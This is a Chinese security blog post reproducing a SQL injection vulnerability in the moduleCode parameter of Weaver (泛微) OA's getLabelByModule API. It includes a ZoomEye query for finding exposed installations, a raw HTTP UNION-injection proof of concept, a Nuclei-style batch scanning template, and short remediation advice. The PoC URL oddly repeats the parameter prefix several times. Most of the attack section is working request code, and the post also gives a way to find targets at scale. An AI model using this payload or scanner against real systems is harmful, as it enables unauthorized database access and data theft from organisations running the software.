泛微-API接口moduleCode参数存在SQL注入漏洞-漏洞复现

admin 2024年1月19日12:49:03评论232 views字数 1673阅读5分34秒阅读模式

0x01 产品简介

      泛微OA拥有自主知识产权的协同管理软件系列产品,包括大中型企业使用的平台型产品e-cology,中小型企业使用的应用型产品e-office,以及一体化的移动办公云OA平台eteams。此外,泛微OA还发布了以“移动化、社交化、平台化、云端化”四化为核心的全新一代产品系列,帮助企业更好地对接移动互联,这里我推荐利用 ZoomEye搜索引擎发现影响资产1W+。

声明

请自行搭建环境进行漏洞测试,该公众号或作者星球分享的工具、项目、漏洞仅供安全研究与学习之用请勿用于非法行为,如用于其他用途,由使用者承担全部法律及连带责任,与作者和本公众号无关。

 

泛微-API接口moduleCode参数存在SQL注入漏洞-漏洞复现

0x02 漏洞描述

Web程序中对于用户提交的参数未做过滤直接拼接到SQL语句中执行,导致参数中的特殊字符破坏了SQL语句原有逻辑,攻击者可以利用该漏洞执行任意SQL语句,如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。

0x03 ZoomEye语法

app:"E-Weaver"

泛微-API接口moduleCode参数存在SQL注入漏洞-漏洞复现

0x04 漏洞复现

POC-联合查询

GET /api/ec/dev/locale/getLabelByModule?moduleCode=?moduleCode=?moduleCode=aaa')+union+all+select+'1,1123123'+-- HTTP/1.1Host: {}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=utf-8Accept: */*Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: close

泛微-API接口moduleCode参数存在SQL注入漏洞-漏洞复现

批量检测POC(请自行搭建环境检测)
id: weaver-getLabelByModule-SQL

info:
  name: weaver-getLabelByModule-SQL
  author: HackTwo
  severity: high

  description: |
    漏洞测试-SQLTest
  reference:
    - https://127.0.0.1
  tags: auto

http:
  - raw:
      - |
        GET /api/ec/dev/locale/getLabelByModule?moduleCode=?moduleCode=?moduleCode=aaa')+union+all+select+'1,1123123'+-- HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
        X-Requested-With: XMLHttpRequest
        Accept: application/json, text/javascript, */*; q=0.01
        Accept-Encoding: gzip, deflate, br
        Accept-Language: zh-CN,zh;q=0.9b
        Connection: close


    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - status_code==200 && contains(body_1,'1123123')

泛微-API接口moduleCode参数存在SQL注入漏洞-漏洞复现

0x05 修复建议

1.使用预编译语句。

2.对进入数据库的特殊字符进行转义处理,或编码转换。

3.确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月19日12:49:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   泛微-API接口moduleCode参数存在SQL注入漏洞-漏洞复现https://cn-sec.com/archives/2410136.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息